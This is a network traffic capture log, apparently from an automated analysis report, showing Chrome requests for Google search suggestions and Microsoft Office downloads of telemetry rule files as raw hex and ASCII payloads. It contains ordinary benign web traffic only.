2024-11-12 09:37:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49716	142.250.185.196	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 09:37:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-5_8Lr33iX9G04Bwi5DJnJg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 09:37:12 UTC	112	IN	Data Raw: 31 34 31 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 61 6c 69 66 6f 72 6e 69 61 20 67 61 73 20 70 72 69 63 65 73 22 2c 22 64 61 76 61 6e 74 65 20 61 64 61 6d 73 22 2c 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 74 6f 64 61 79 22 2c 22 6e 6f 72 74 68 65 72 6e 20 74 61 75 72 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 22 2c Data Ascii: 1417)]}'["",["california gas prices","davante adams","final jeopardy today","northern taurids meteor shower",
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 22 66 61 6d 69 6c 79 20 64 6f 6c 6c 61 72 20 6f 68 69 6f 20 73 74 6f 72 65 20 63 6c 6f 73 75 72 65 20 74 6f 64 61 79 22 2c 22 64 72 61 67 6f 6e 20 61 67 65 20 76 65 69 6c 67 75 61 72 64 22 2c 22 77 65 73 74 65 72 6e 20 77 61 20 6e 6f 76 65 6d 62 65 72 20 72 61 69 6e 20 73 6e 6f 77 22 2c 22 77 65 65 6b 20 31 31 20 66 61 6e 74 61 73 79 20 66 6f 6f 74 62 61 6c 6c 20 77 61 69 76 65 72 20 77 69 72 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d Data Ascii: "family dollar ohio store closure today","dragon age veilguard","western wa november rain snow","week 11 fantasy football waiver wire"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbm
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 32 5a 6c 68 59 54 79 39 6a 65 48 56 71 4e 32 49 77 64 46 46 4c 56 6e 46 6f 57 57 74 6d 59 31 46 52 55 45 4e 43 52 30 34 76 55 47 35 71 4c 7a 4d 79 4d 54 41 32 5a 55 35 69 53 58 6c 43 56 56 5a 35 63 45 63 34 63 58 56 75 53 54 6c 53 53 33 41 78 5a 33 55 35 4e 6d 64 77 59 6e 52 69 4e 6b 78 6d 54 57 70 45 52 54 64 52 64 6e 56 33 51 6b 6c 78 51 6e 64 4e 4f 57 4e 6f 55 31 42 79 63 6d 4a 34 4d 30 64 4b 65 46 56 45 57 6b 74 4b 57 55 6c 6f 54 54 42 55 57 54 4e 47 52 47 35 68 55 6e 70 71 62 6d 46 33 4f 43 74 74 5a 32 35 69 53 56 56 30 4d 54 64 4a 55 6a 46 69 65 47 4e 32 4e 46 56 30 55 44 52 6e 52 7a 56 6b 65 45 4a 34 4d 54 56 4a 4e 46 42 36 54 33 56 79 61 57 4a 4b 61 47 4a 54 55 58 4e 79 5a 6b 56 73 51 6c 52 78 63 31 56 55 64 57 52 32 51 56 4a 54 56 44 6c 30 52 55 Data Ascii: 2ZlhYTy9jeHVqN2IwdFFLVnFoWWtmY1FRUENCR04vUG5qLzMyMTA2ZU5iSXlCVVZ5cEc4cXVuSTlSS3AxZ3U5NmdwYnRiNkxmTWpERTdRdnV3QklxQndNOWNoU1BycmJ4M0dKeFVEWktKWUloTTBUWTNGRG5hUnpqbmF3OCttZ25iSVV0MTdJUjFieGN2NFV0UDRnRzVkeEJ4MTVJNFB6T3VyaWJKaGJTUXNyZkVsQlRxc1VUdWR2QVJTVDl0RU
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 54 56 68 4e 44 4a 74 64 57 78 4f 53 48 51 34 4e 56 56 51 55 48 42 75 53 69 73 79 64 56 70 35 54 6a 6c 58 56 58 6f 72 52 6b 52 4f 52 48 68 4a 61 57 64 68 63 6e 6b 35 62 30 74 78 62 46 56 4a 4f 45 51 30 4e 6d 78 57 65 6e 46 34 59 57 49 78 59 6e 46 35 62 57 70 57 59 57 31 4a 54 31 5a 48 56 57 52 6e 63 6b 45 72 62 55 52 79 4d 31 64 56 4e 54 56 4e 55 6a 52 4b 4c 7a 41 32 51 54 4e 50 56 57 68 6f 62 6a 4a 58 51 32 35 31 56 54 46 6c 5a 6a 42 76 56 30 4a 69 63 58 64 33 51 6e 46 73 4d 6d 6c 6e 57 56 64 69 59 58 4a 61 57 6c 70 42 4e 55 6f 32 4e 48 6f 76 5a 57 6c 73 55 6c 59 77 56 6e 46 6f 53 6e 45 31 51 6a 52 77 52 31 4a 46 62 7a 4e 50 5a 6e 41 76 5a 55 35 43 52 47 4e 71 5a 44 42 31 51 57 46 4b 57 58 46 6c 52 32 78 6b 62 46 68 36 54 7a 64 77 62 6c 64 7a 53 6a 64 78 Data Ascii: TVhNDJtdWxOSHQ4NVVQUHBuSisydVp5TjlXVXorRkRORHhJaWdhcnk5b0txbFVJOEQ0NmxWenF4YWIxYnF5bWpWYW1JT1ZHVWRnckErbURyM1dVNTVNUjRKLzA2QTNPVWhobjJXQ251VTFlZjBvV0JicXd3QnFsMmlnWVdiYXJaWlpBNUo2NHovZWlsUlYwVnFoSnE1QjRwR1JFbzNPZnAvZU5CRGNqZDB1QWFKWXFlR2xkbFh6TzdwbldzSjdx
2024-11-12 09:37:12 UTC	905	IN	Data Raw: 34 5a 6b 74 7a 51 56 51 7a 65 55 78 34 52 57 68 44 63 31 5a 33 52 55 6b 30 52 6d 45 30 4e 6e 4e 58 61 7a 4a 72 4d 33 46 61 54 7a 6c 76 53 7a 52 33 55 6b 63 72 51 31 46 58 53 47 4d 76 62 6a 55 33 5a 6d 68 4f 56 57 6b 35 5a 45 6c 75 56 30 73 34 54 54 51 78 54 47 30 30 65 57 68 57 51 57 59 77 4e 32 56 6c 4c 32 49 32 4e 57 4e 6a 4d 54 41 34 56 58 68 44 53 6e 4a 59 52 32 68 6b 53 6a 56 78 61 6a 52 74 4c 31 56 71 54 55 31 6d 56 58 56 54 52 6c 55 34 5a 53 74 68 62 56 6c 77 4e 57 56 79 5a 56 4e 34 4e 46 4e 50 56 44 52 7a 4e 6a 6c 4a 54 31 46 77 5a 6d 70 4b 51 56 42 42 53 6b 68 32 52 6c 64 54 4d 33 46 34 4d 6b 74 73 63 46 46 72 63 32 35 44 52 31 68 77 65 48 70 71 53 6e 70 57 57 58 56 4d 4c 32 46 42 4d 6d 73 7a 51 58 68 36 4d 47 74 45 53 47 64 57 52 6a 55 33 62 47 Data Ascii: 4ZktzQVQzeUx4RWhDc1Z3RUk0RmE0NnNXazJrM3FaTzlvSzR3UkcrQ1FXSGMvbjU3ZmhOVWk5ZEluV0s4TTQxTG00eWhWQWYwN2VlL2I2NWNjMTA4VXhDSnJYR2hkSjVxajRtL1VqTU1mVXVTRlU4ZSthbVlwNWVyZVN4NFNPVDRzNjlJT1FwZmpKQVBBSkh2RldTM3F4MktscFFrc25DR1hweHpqSnpWWXVML2FBMmszQXh6MGtESGdWRjU3bG
2024-11-12 09:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-17df447cdb56mx55hC1DFWvbt400000008rg0000000034u5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f8aed360-a01e-0032-69a0-341949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-15869dbbcc6pfq2ghC1DFWh2wg000000011g00000000en91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 216c6b49-701e-001e-23a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-17df447cdb56j5xmhC1DFWn9180000000bv0000000009uy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-17df447cdb54ntx4hC1DFW2k400000000c30000000004na9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:12 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6d064dc7-d01e-005a-12a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093712Z-17df447cdb5zfhrmhC1DFWh3300000000bvg000000000gug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:12 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49715	142.250.185.196	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49717	142.250.185.196	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:11 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 09:37:12 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 09:37:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 09:37:12 UTC	336	IN	Data Raw: 32 33 64 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 23d5)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 09:37:12 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
